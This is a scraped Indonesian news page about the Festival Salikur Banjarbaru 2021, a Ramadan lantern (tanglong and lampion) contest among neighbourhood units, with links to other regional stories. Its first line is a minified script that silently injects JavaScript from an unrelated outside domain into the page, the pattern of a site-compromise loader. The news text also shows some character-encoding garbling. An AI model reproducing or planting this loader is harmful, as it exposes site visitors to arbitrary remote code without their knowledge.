(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Memeriahkan Hari Jadi ke-22 Kota Banjarbaru digelar Festival Salikur Banjarbaru 2021.
Festival Salikur Banjarbaru 2021 mengadakan dua lomba, lomba tanglong dan lampion antar RT se Kota Banjarbaru.
Kabag Humas Pemko Banjarbaru Dedy Sutoyo kepada Kanalkalimantan, mengatakan, Festival Selikur Banjarbaru 2021 adalah menghias kampung di lingkungan Rukun Tetangga (RT) dengan tanglong dan lampion.
“Tentu saja, berkenaan dengan masa pandemi Covid-19, teknis pelaksanaan berbeda dari lomba tanglong dulu, tanglong dan lampion hanya dihias antar RT dan tidak berkeliling,†ujar Dedy Sutoyo.
Festival Salikur Banjarbaru 2021. Foto: ist
Baca juga:Â Pengadaan 30 Unit Ipad di 2020, Anggota Dewan Banjarbaru Belum Terima
Apa persyaratan lomba tanglong? Pertama adalah menghias kampung dengan tanglong dan lampion di wilayah RT masing-masing selama 10 hari. Di mulai malam 21 Ramadhan hingga malam Idul Fitri, peserta merupakan RT se-Kota Banjarbaru.
“Peserta wajib ada ornamen utama tanglong, selebihnya ornamen tambahan berupa lampion di areal kampung lingkup RT masing-masing, tema tanglong dan lampion adalah agamis,†jelas Dedy Sutoyo.
Dari seluruh ornamen tanglong maupun lampion yang dibuat, wajib menampilkan minimal satu logo Hari Jadi ke-22 Kota Banjarbaru.
Baca juga:Â DKISP Banjar Simulasi Penggunaan Aplikasi Srikandi
Syarat berikutnya tidak boleh menampilkan tanglong berbentuk manusia, bahan harus tahan air dan diyakini awet hingga hari terakhir kegiatan.
Masing-masing RT yang ikut menjadi peserta menghidupkan 10 malam terkahir Ramadhan berupa itikaf, boleh diisi kegiatan tadarus, shalawat, bagarakan sahur, atau sahur bersama. Namun, tetap diingatkan patuhi dan terapkan protokol kesehatan.
Peserta tanglong dan lampion harus mendokumentasikan lingkungan RT dalam bentuk 15 foto. Misalnya, foto kebersamaan, keliling tanglong utama, suasana kampung, kegiatan malam salikur, penampilan logo Hari Jadi ke-22. (kanalkalimantan.com/rls)
Reporter: rls
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.